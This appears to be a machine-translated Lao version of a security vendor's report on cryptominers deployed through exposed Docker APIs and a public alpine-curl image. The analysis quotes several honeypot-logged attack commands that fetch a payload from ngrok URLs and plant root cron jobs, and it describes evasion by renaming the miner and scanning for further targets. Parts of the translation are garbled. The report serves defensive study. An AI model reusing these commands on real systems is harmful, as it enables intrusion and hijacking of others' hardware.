ວິທີການທີ່ Docker API ທີ່ບໍ່ເປັນເຈົ້າຂອງແລະຮູບພາບສາທາລະນະຈາກຊຸມຊົນຖືກນໍາໃຊ້ເພື່ອແຈກຢາຍ cryptocurrency miners

ພວກເຮົາໄດ້ວິເຄາະຂໍ້ມູນທີ່ເກັບໄດ້ໂດຍໃຊ້ຖັງນໍ້າເຜິ້ງ, ເຊິ່ງພວກເຮົາສ້າງຂຶ້ນເພື່ອຕິດຕາມໄພຂົ່ມຂູ່. ແລະພວກເຮົາໄດ້ກວດພົບການເຄື່ອນໄຫວທີ່ສໍາຄັນຈາກຜູ້ຂຸດຄົ້ນເງິນສະກຸນເງິນດິຈິຕອນທີ່ບໍ່ຕ້ອງການ ຫຼືບໍ່ໄດ້ຮັບອະນຸຍາດ ທີ່ຖືກນຳໃຊ້ເປັນຖັງຂີ້ເຫຍື້ອທີ່ໃຊ້ຮູບທີ່ເຜີຍແຜ່ໂດຍຊຸມຊົນຢູ່ Docker Hub. ຮູບພາບດັ່ງກ່າວຖືກໃຊ້ເປັນສ່ວນໜຶ່ງຂອງການບໍລິການທີ່ສະໜອງໃຫ້ຜູ້ແຮ່ທາດ cryptocurrency ທີ່ເປັນອັນຕະລາຍ.

ນອກຈາກນັ້ນ, ໂຄງການສໍາລັບການເຮັດວຽກກັບເຄືອຂ່າຍໄດ້ຖືກຕິດຕັ້ງເພື່ອເຈາະເຂົ້າໄປໃນຕູ້ຄອນເທນເນີໃກ້ຄຽງທີ່ເປີດແລະຄໍາຮ້ອງສະຫມັກຕ່າງໆ.

ພວກເຮົາອອກຈາກ honeypots ຂອງພວກເຮົາຄືເກົ່າ, ນັ້ນແມ່ນ, ດ້ວຍການຕັ້ງຄ່າເລີ່ມຕົ້ນ, ໂດຍບໍ່ມີມາດຕະການຄວາມປອດໄພໃດໆຫຼືການຕິດຕັ້ງຊອບແວເພີ່ມເຕີມ. ກະລຸນາຮັບຊາບວ່າ Docker ມີຄຳແນະນຳໃນການຕິດຕັ້ງເບື້ອງຕົ້ນເພື່ອຫຼີກເວັ້ນຄວາມຜິດພາດ ແລະ ຊ່ອງໂຫວ່ງ່າຍໆ. ແຕ່ honeypots ທີ່ໃຊ້ແມ່ນຕູ້ຄອນເທນເນີ, ອອກແບບມາເພື່ອກວດຫາການໂຈມຕີທີ່ແນໃສ່ເວທີການບັນຈຸ, ບໍ່ແມ່ນຄໍາຮ້ອງສະຫມັກພາຍໃນບັນຈຸ.

ກິດຈະກໍາທີ່ເປັນອັນຕະລາຍທີ່ກວດພົບແມ່ນເປັນທີ່ຫນ້າສັງເກດເພາະວ່າມັນບໍ່ຈໍາເປັນຕ້ອງມີຊ່ອງໂຫວ່ແລະເປັນເອກະລາດຂອງສະບັບ Docker. ຊອກຫາການຕັ້ງຄ່າທີ່ບໍ່ຖືກຕ້ອງ, ແລະດັ່ງນັ້ນຈຶ່ງເປີດ, ຮູບພາບບັນຈຸແມ່ນທັງຫມົດທີ່ຜູ້ໂຈມຕີຕ້ອງການຕິດເຊື້ອເຄື່ອງແມ່ຂ່າຍທີ່ເປີດຫຼາຍ.

API Docker ທີ່ບໍ່ໄດ້ປິດໃຫ້ຜູ້ໃຊ້ສາມາດປະຕິບັດໄດ້ຢ່າງກວ້າງຂວາງ ທີມງານ, ລວມທັງການໄດ້ຮັບບັນຊີລາຍຊື່ຂອງບັນຈຸທີ່ແລ່ນ, ການໄດ້ຮັບບັນທຶກຈາກຖັງສະເພາະ, ເລີ່ມຕົ້ນ, ການຢຸດເຊົາ (ລວມທັງການບັງຄັບ) ແລະແມ້ກະທັ້ງການສ້າງຕູ້ຄອນເທນເນີໃຫມ່ຈາກຮູບພາບສະເພາະທີ່ມີການຕັ້ງຄ່າທີ່ກໍານົດໄວ້.

ຢູ່ເບື້ອງຊ້າຍແມ່ນວິທີການຈັດສົ່ງ malware. ຢູ່ເບື້ອງຂວາແມ່ນສະພາບແວດລ້ອມຂອງຜູ້ໂຈມຕີ, ເຊິ່ງເຮັດໃຫ້ສາມາດຖອດຮູບພາບຈາກໄລຍະໄກໄດ້.

ການແຈກຢາຍຕາມປະເທດຂອງ 3762 Docker APIs ທີ່ເປີດ. ອີງຕາມການຄົ້ນຫາ Shodan ວັນທີ 12.02.2019/XNUMX/XNUMX

ລະບົບຕ່ອງໂສ້ການໂຈມຕີແລະທາງເລືອກ payload

ກິດຈະກໍາທີ່ເປັນອັນຕະລາຍໄດ້ຖືກກວດພົບບໍ່ພຽງແຕ່ດ້ວຍການຊ່ວຍເຫຼືອຂອງ honeypots. ຂໍ້ມູນຈາກ Shodan ສະແດງໃຫ້ເຫັນວ່າຈໍານວນຂອງ Docker APIs ທີ່ຖືກເປີດເຜີຍ (ເບິ່ງເສັ້ນສະແດງທີສອງ) ໄດ້ເພີ່ມຂຶ້ນນັບຕັ້ງແຕ່ພວກເຮົາໄດ້ສືບສວນຕູ້ຄອນເທນເນີທີ່ກໍາຫນົດຄ່າທີ່ບໍ່ຖືກຕ້ອງທີ່ໃຊ້ເປັນຂົວເພື່ອນໍາໃຊ້ຊອບແວຂຸດຄົ້ນບໍ່ແຮ່ Monero cryptocurrency. ໃນເດືອນຕຸລາປີທີ່ຜ່ານມາ (2018, ຂໍ້ມູນປະຈຸບັນ ທ່ານ​ສາ​ມາດ​ເບິ່ງ​ຄື​ນີ້​ ປະມານ ນັກແປ) ມີພຽງ 856 APIs ທີ່ເປີດ.

ການກວດສອບບັນທຶກຂອງ honeypot ໄດ້ສະແດງໃຫ້ເຫັນວ່າການນໍາໃຊ້ຮູບພາບພາຊະນະຍັງກ່ຽວຂ້ອງກັບການນໍາໃຊ້ ງອກ, ເຄື່ອງມືສໍາລັບການສ້າງຕັ້ງການເຊື່ອມຕໍ່ທີ່ປອດໄພຫຼືການສົ່ງຕໍ່ການຈະລາຈອນຈາກຈຸດທີ່ສາມາດເຂົ້າເຖິງສາທາລະນະໄປຫາທີ່ຢູ່ຫຼືຊັບພະຍາກອນທີ່ລະບຸ (ຕົວຢ່າງ localhost). ນີ້ອະນຸຍາດໃຫ້ຜູ້ໂຈມຕີສ້າງ URL ແບບເຄື່ອນໄຫວໃນເວລາສົ່ງ payload ໃຫ້ກັບເຄື່ອງແມ່ຂ່າຍທີ່ເປີດ. ຂ້າງລຸ່ມນີ້ແມ່ນຕົວຢ່າງລະຫັດຈາກບັນທຶກທີ່ສະແດງໃຫ້ເຫັນການລະເມີດການບໍລິການ ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

ດັ່ງທີ່ທ່ານສາມາດເຫັນໄດ້, ໄຟລ໌ທີ່ອັບໂຫລດໄດ້ຖືກດາວໂຫຼດຈາກ URL ທີ່ປ່ຽນແປງຢ່າງຕໍ່ເນື່ອງ. URL ເຫຼົ່ານີ້ມີວັນຫມົດອາຍຸສັ້ນ, ດັ່ງນັ້ນ payloads ບໍ່ສາມາດດາວໂຫຼດຫຼັງຈາກວັນຫມົດອາຍຸ.

ມີສອງທາງເລືອກໃນການໂຫຼດຂໍ້ມູນ. ອັນທຳອິດແມ່ນຕົວຂຸດຄົ້ນທີ່ຄອມໄພລ໌ແລ້ວໃນຮູບແບບ ELF ສຳລັບ Linux (ລະບຸວ່າເປັນ Coinminer.SH.MALXMR.ATNO), ເຊິ່ງເຊື່ອມຕໍ່ກັບກຸ່ມຂຸດຄົ້ນບໍ່ແຮ່. ອັນທີສອງແມ່ນສະຄຣິບ (TrojanSpy.SH.ZNETMAP.A), ຖືກອອກແບບມາເພື່ອໃຫ້ໄດ້ເຄື່ອງມືເຄືອຂ່າຍສະເພາະທີ່ໃຊ້ເພື່ອສະແກນຂອບເຂດເຄືອຂ່າຍ ແລະ ຈາກນັ້ນຄົ້ນຫາເປົ້າໝາຍໃໝ່.

script dropper ກໍານົດສອງຕົວແປ, ເຊິ່ງຫຼັງຈາກນັ້ນຖືກນໍາໃຊ້ເພື່ອ deploy cryptocurrency miner. ຕົວແປຂອງ HOST ປະກອບມີ URL ທີ່ໄຟລ໌ທີ່ເປັນອັນຕະລາຍຢູ່, ແລະຕົວແປ RIP ແມ່ນຊື່ໄຟລ໌ (ໃນຄວາມເປັນຈິງ, hash) ຂອງຜູ້ແຮ່ທາດທີ່ຈະນໍາໃຊ້. ຕົວແປ HOST ປ່ຽນແປງທຸກຄັ້ງທີ່ຕົວແປ hash ປ່ຽນແປງ. ສະຄຣິບຍັງພະຍາຍາມກວດເບິ່ງວ່າບໍ່ມີຜູ້ແຮ່ທາດ cryptocurrency ອື່ນແລ່ນຢູ່ໃນເຄື່ອງແມ່ຂ່າຍທີ່ຖືກໂຈມຕີ.

ຕົວຢ່າງຂອງຕົວແປ HOST ແລະ RIP, ເຊັ່ນດຽວກັນກັບຂໍ້ມູນຫຍໍ້ຂອງລະຫັດທີ່ໃຊ້ເພື່ອກວດເບິ່ງວ່າບໍ່ມີຜູ້ແຮ່ທາດອື່ນແລ່ນຢູ່.

ກ່ອນທີ່ຈະເປີດໃຊ້ miner, ມັນຈະຖືກປ່ຽນຊື່ເປັນ nginx. ສະບັບອື່ນໆຂອງ script ນີ້ປ່ຽນຊື່ miner ເປັນການບໍລິການທີ່ຖືກຕ້ອງຕາມກົດໝາຍອື່ນໆ ທີ່ອາດຈະມີຢູ່ໃນສະພາບແວດລ້ອມ. Linuxໂດຍປົກກະຕິແລ້ວນີ້ພຽງພໍທີ່ຈະຂ້າມການກວດສອບໃນລາຍຊື່ຂອງຂະບວນການທີ່ກຳລັງດຳເນີນຢູ່.

ສະຄິບຄົ້ນຫາຍັງມີຄຸນສົມບັດ. ມັນເຮັດວຽກກັບບໍລິການ URL ດຽວກັນເພື່ອນໍາໃຊ້ເຄື່ອງມືທີ່ຈໍາເປັນ. ໃນບັນດາພວກເຂົາແມ່ນ zmap binary, ເຊິ່ງຖືກນໍາໃຊ້ເພື່ອສະແກນເຄືອຂ່າຍແລະໄດ້ຮັບບັນຊີລາຍຊື່ຂອງພອດເປີດ. ສະຄິບຍັງໂຫລດ binary ອື່ນທີ່ໃຊ້ໃນການພົວພັນກັບການບໍລິການທີ່ພົບເຫັນແລະໄດ້ຮັບປ້າຍໂຄສະນາຈາກພວກເຂົາເພື່ອກໍານົດຂໍ້ມູນເພີ່ມເຕີມກ່ຽວກັບການບໍລິການທີ່ພົບເຫັນ (ຕົວຢ່າງ, ສະບັບຂອງມັນ).

ສະຄຣິບຍັງກຳນົດຂອບເຂດເຄືອຂ່າຍບາງຢ່າງເພື່ອສະແກນລ່ວງໜ້າ, ແຕ່ອັນນີ້ຂຶ້ນກັບເວີຊັນຂອງສະຄຣິບ. ມັນຍັງກໍານົດພອດເປົ້າຫມາຍຈາກການບໍລິການ - ໃນກໍລະນີນີ້, Docker - ກ່ອນທີ່ຈະດໍາເນີນການສະແກນ.

ເມື່ອພົບເປົ້າໝາຍທີ່ມີທ່າແຮງແລ້ວ, ປ້າຍໂຄສະນາຈະຖືກລຶບອອກຈາກພວກມັນໂດຍອັດຕະໂນມັດ. ສະຄຣິບຍັງກັ່ນຕອງເປົ້າໝາຍໂດຍອີງໃສ່ການບໍລິການ, ແອັບພລິເຄຊັນ, ອົງປະກອບ ຫຼື ແພລດຟອມທີ່ມັນສົນໃຈ: Redis, Jenkins, Drupal, MODX, Kubernetes Master, ລູກຄ້າ Docker 1.16 ແລະ Apache CouchDB. ຖ້າເຊີບເວີທີ່ສະແກນກົງກັບພວກມັນ, ມັນຖືກບັນທຶກໄວ້ໃນໄຟລ໌ຂໍ້ຄວາມ, ເຊິ່ງຜູ້ໂຈມຕີສາມາດນໍາໃຊ້ໄດ້ໃນພາຍຫລັງສໍາລັບການວິເຄາະແລະການ hack ຕໍ່ມາ. ໄຟລ໌ຂໍ້ຄວາມເຫຼົ່ານີ້ຖືກອັບໂຫຼດໃສ່ເຊີບເວີຂອງຜູ້ໂຈມຕີຜ່ານລິ້ງແບບເຄື່ອນໄຫວ. ນັ້ນແມ່ນ, URL ແຍກຕ່າງຫາກຖືກນໍາໃຊ້ສໍາລັບແຕ່ລະໄຟລ໌, ຊຶ່ງຫມາຍຄວາມວ່າການເຂົ້າເຖິງຕໍ່ມາແມ່ນມີຄວາມຫຍຸ້ງຍາກ.

vector ການໂຈມຕີແມ່ນຮູບພາບ Docker, ດັ່ງທີ່ສາມາດເບິ່ງໄດ້ໃນສອງຊິ້ນຕໍ່ໄປຂອງລະຫັດ.

ຢູ່ເທິງສຸດແມ່ນການປ່ຽນຊື່ເປັນບໍລິການທີ່ຖືກຕ້ອງ, ແລະຢູ່ລຸ່ມສຸດແມ່ນວິທີການໃຊ້ zmap ເພື່ອສະແກນເຄືອຂ່າຍ.

ຢູ່ເທິງສຸດແມ່ນຂອບເຂດເຄືອຂ່າຍທີ່ກຳນົດໄວ້ລ່ວງໜ້າ, ຢູ່ທາງລຸ່ມແມ່ນພອດສະເພາະສຳລັບການຊອກຫາການບໍລິການ, ລວມທັງ Docker

ພາບຫນ້າຈໍສະແດງໃຫ້ເຫັນວ່າຮູບພາບ alpine-curl ໄດ້ຖືກດາວໂຫຼດຫຼາຍກວ່າ 10 ລ້ານເທື່ອ

ອີງໃສ່ພູເຂົາ Alpine Linux ແລະ curl, ເຄື່ອງມື CLI ທີ່ມີປະສິດທິພາບດ້ານຊັບພະຍາກອນສຳລັບການໂອນໄຟລ໌ຜ່ານໂປໂຕຄອນຕ່າງໆ, ສາມາດລວບລວມໄດ້ ຮູບພາບ Docker. ດັ່ງທີ່ເຈົ້າສາມາດເຫັນໄດ້ໃນຮູບທີ່ຜ່ານມາ, ຮູບພາບນີ້ໄດ້ຖືກດາວໂຫຼດແລ້ວຫຼາຍກວ່າ 10 ລ້ານເທື່ອ. ການດາວໂຫຼດຈໍານວນຫຼວງຫຼາຍອາດຈະຫມາຍເຖິງການໃຊ້ຮູບພາບນີ້ເປັນຈຸດເຂົ້າ; ໃນ Docker ຈຸດເຂົ້າ - ຊຸດຄໍາແນະນໍາທີ່ໃຊ້ໃນການຕັ້ງຄ່າຕູ້ຄອນເທນເນີເພື່ອແລ່ນມັນ. ຖ້າການຕັ້ງຄ່າຈຸດເຂົ້າບໍ່ຖືກຕ້ອງ (ຕົວຢ່າງ, ກ່ອງບັນຈຸຖືກປະໄວ້ຈາກອິນເຕີເນັດ), ຮູບພາບສາມາດຖືກນໍາໃຊ້ເປັນ vector ການໂຈມຕີ. ຜູ້ໂຈມຕີສາມາດໃຊ້ມັນເພື່ອສົ່ງ payload ຖ້າພວກເຂົາພົບກ່ອງບັນຈຸທີ່ຕັ້ງໄວ້ຜິດ ຫຼືເປີດໄວ້ບໍ່ຮອງຮັບ.

ມັນເປັນສິ່ງສໍາຄັນທີ່ຈະສັງເກດວ່າຮູບພາບນີ້ (alpine-curl) ຕົວຂອງມັນເອງບໍ່ໄດ້ເປັນອັນຕະລາຍ, ແຕ່ຕາມທີ່ເຈົ້າເຫັນຂ້າງເທິງ, ມັນສາມາດຖືກນໍາໃຊ້ເພື່ອປະຕິບັດຫນ້າທີ່ເປັນອັນຕະລາຍ. ຮູບພາບ Docker ທີ່ຄ້າຍຄືກັນຍັງສາມາດຖືກນໍາໃຊ້ເພື່ອປະຕິບັດກິດຈະກໍາທີ່ເປັນອັນຕະລາຍ. ພວກເຮົາໄດ້ຕິດຕໍ່ກັບ Docker ແລະເຮັດວຽກກັບເຂົາເຈົ້າກ່ຽວກັບບັນຫານີ້.

ຂໍ້ສະເຫນີແນະ

ການຕັ້ງຄ່າບໍ່ຖືກຕ້ອງ ຍັງຄົງຢູ່ ບັນຫາຄົງທີ່ ສໍາລັບບໍລິສັດຈໍານວນຫຼາຍ, ໂດຍສະເພາະແມ່ນການຈັດຕັ້ງປະຕິບັດ DevOps, ສຸມໃສ່ການພັດທະນາຢ່າງໄວວາແລະການຈັດສົ່ງ. ທຸກສິ່ງທຸກຢ່າງແມ່ນຮ້າຍແຮງຂຶ້ນຍ້ອນຄວາມຕ້ອງການທີ່ຈະປະຕິບັດຕາມກົດລະບຽບການກວດສອບແລະການຕິດຕາມ, ຄວາມຕ້ອງການໃນການກວດສອບຄວາມລັບຂອງຂໍ້ມູນ, ເຊັ່ນດຽວກັນກັບຄວາມເສຍຫາຍອັນໃຫຍ່ຫຼວງຈາກການບໍ່ປະຕິບັດຕາມຂອງພວກເຂົາ. ການລວມເອົາລະບົບຄວາມປອດໄພອັດຕະໂນມັດເຂົ້າໃນວົງຈອນການພັດທະນາບໍ່ພຽງແຕ່ຊ່ວຍໃຫ້ທ່ານຊອກຫາຮູຄວາມປອດໄພທີ່ອາດຈະບໍ່ສາມາດກວດພົບໄດ້, ແຕ່ມັນຍັງຊ່ວຍໃຫ້ທ່ານຫຼຸດຜ່ອນວຽກທີ່ບໍ່ຈໍາເປັນ, ເຊັ່ນ: ການດໍາເນີນການສ້າງຊອບແວເພີ່ມເຕີມສໍາລັບແຕ່ລະຊ່ອງໂຫວ່ທີ່ຄົ້ນພົບຫຼືການຕັ້ງຄ່າທີ່ຜິດພາດຫຼັງຈາກແອັບພລິເຄຊັນຖືກຕິດຕັ້ງ.

ເຫດການທີ່ໄດ້ສົນທະນາໃນບົດຄວາມນີ້ຊີ້ໃຫ້ເຫັນເຖິງຄວາມຈໍາເປັນທີ່ຈະຕ້ອງຄໍານຶງເຖິງຄວາມປອດໄພຕັ້ງແຕ່ເລີ່ມຕົ້ນ, ລວມທັງຄໍາແນະນໍາດັ່ງຕໍ່ໄປນີ້:

• ສໍາລັບຜູ້ເບິ່ງແຍງລະບົບ ແລະຜູ້ພັດທະນາ: ກວດເບິ່ງການຕັ້ງຄ່າ API ຂອງທ່ານສະເໝີເພື່ອໃຫ້ແນ່ໃຈວ່າທຸກຢ່າງຖືກຕັ້ງຄ່າໃຫ້ຍອມຮັບການຮ້ອງຂໍຈາກເຊີບເວີສະເພາະ ຫຼືເຄືອຂ່າຍພາຍໃນເທົ່ານັ້ນ.
• ປະຕິບັດຕາມຫຼັກການຂອງສິດທິຫນ້ອຍທີ່ສຸດ: ໃຫ້ແນ່ໃຈວ່າຮູບພາບຕູ້ຄອນເທນເນີຖືກເຊັນແລະຢືນຢັນ, ຈໍາກັດການເຂົ້າເຖິງອົງປະກອບທີ່ສໍາຄັນ (ການບໍລິການເປີດຕົວຕູ້ຄອນເທນເນີ) ແລະເພີ່ມການເຂົ້າລະຫັດກັບການເຊື່ອມຕໍ່ເຄືອຂ່າຍ.
• ປະຕິບັດຕາມ ຄໍາແນະນໍາ ແລະເປີດໃຊ້ກົນໄກຄວາມປອດໄພ, e.g. ຈາກ Docker ແລະໃນຕົວ ຄຸນນະສົມບັດຄວາມປອດໄພ.
• ໃຊ້ການສະແກນອັດຕະໂນມັດຂອງເວລາແລ່ນ ແລະຮູບພາບເພື່ອໃຫ້ໄດ້ຂໍ້ມູນເພີ່ມເຕີມກ່ຽວກັບຂະບວນການທີ່ແລ່ນຢູ່ໃນກ່ອງບັນຈຸ (ຕົວຢ່າງ, ເພື່ອກວດຫາການຫຼອກລວງ ຫຼືຊອກຫາຊ່ອງໂຫວ່). ການຄວບຄຸມຄໍາຮ້ອງສະຫມັກແລະການກວດສອບຄວາມສົມບູນຊ່ວຍຕິດຕາມການປ່ຽນແປງທີ່ຜິດປົກກະຕິກັບເຄື່ອງແມ່ຂ່າຍ, ໄຟລ໌, ແລະພື້ນທີ່ລະບົບ.

Trendmicro ຊ່ວຍໃຫ້ທີມ DevOps ສ້າງໄດ້ຢ່າງປອດໄພ, ເປີດຕົວໄດ້ໄວ, ແລະເປີດຕົວໄດ້ທຸກບ່ອນ. ແນວໂນ້ມ Micro Hybrid Cloud Security ສະຫນອງຄວາມປອດໄພທີ່ມີປະສິດທິພາບ, ປັບປຸງ, ແລະອັດຕະໂນມັດໃນທົ່ວທໍ່ DevOps ຂອງອົງການຈັດຕັ້ງແລະສະຫນອງການປ້ອງກັນໄພຂົ່ມຂູ່ຫຼາຍ. XGen ເພື່ອປົກປ້ອງການໂຫຼດທາງກາຍ, ສະເໝືອນ ແລະຄລາວໃນເວລາແລ່ນ. ມັນຍັງເພີ່ມຄວາມປອດໄພຕູ້ຄອນເທນເນີກັບ ຄວາມປອດໄພຢ່າງເລິກເຊິ່ງ и ການກວດສອບຄວາມປອດໄພຢ່າງເລິກເຊິ່ງ, ເຊິ່ງສະແກນຮູບພາບຕູ້ຄອນເທນເນີ Docker ສໍາລັບ malware ແລະຊ່ອງໂຫວ່ຢູ່ຈຸດໃດຫນຶ່ງໃນທໍ່ການພັດທະນາເພື່ອປ້ອງກັນໄພຂົ່ມຂູ່ກ່ອນທີ່ພວກມັນຈະຖືກນໍາໄປໃຊ້.

ສັນຍານຂອງການປະນີປະນອມ

hash ທີ່ກ່ຽວຂ້ອງ:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

ກ່ຽວກັບ ຫຼັກສູດວິດີໂອ Docker ການປະຕິບັດລໍາໂພງສະແດງໃຫ້ເຫັນວ່າການຕັ້ງຄ່າໃດທີ່ຕ້ອງເຮັດກ່ອນເພື່ອຫຼຸດຜ່ອນຄວາມເປັນໄປໄດ້ຫຼືຫລີກລ້ຽງການປະກົດຕົວຂອງສະຖານະການທີ່ໄດ້ອະທິບາຍຂ້າງເທິງ. ແລະໃນວັນທີ 19-21 ເດືອນສິງຫາຢູ່ທີ່ອອນໄລນ໌ແບບສຸມ DevOps ເຄື່ອງ​ມື & Cheats ທ່ານສາມາດສົນທະນາບັນຫາຄວາມປອດໄພເຫຼົ່ານີ້ແລະຄ້າຍຄືກັນກັບເພື່ອນຮ່ວມງານແລະຄູຝຶກສອນຢູ່ໃນຕາຕະລາງຮອບ, ບ່ອນທີ່ທຸກຄົນສາມາດເວົ້າອອກແລະຟັງຄວາມເຈັບປວດແລະຄວາມສໍາເລັດຂອງເພື່ອນຮ່ວມງານທີ່ມີປະສົບການ.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com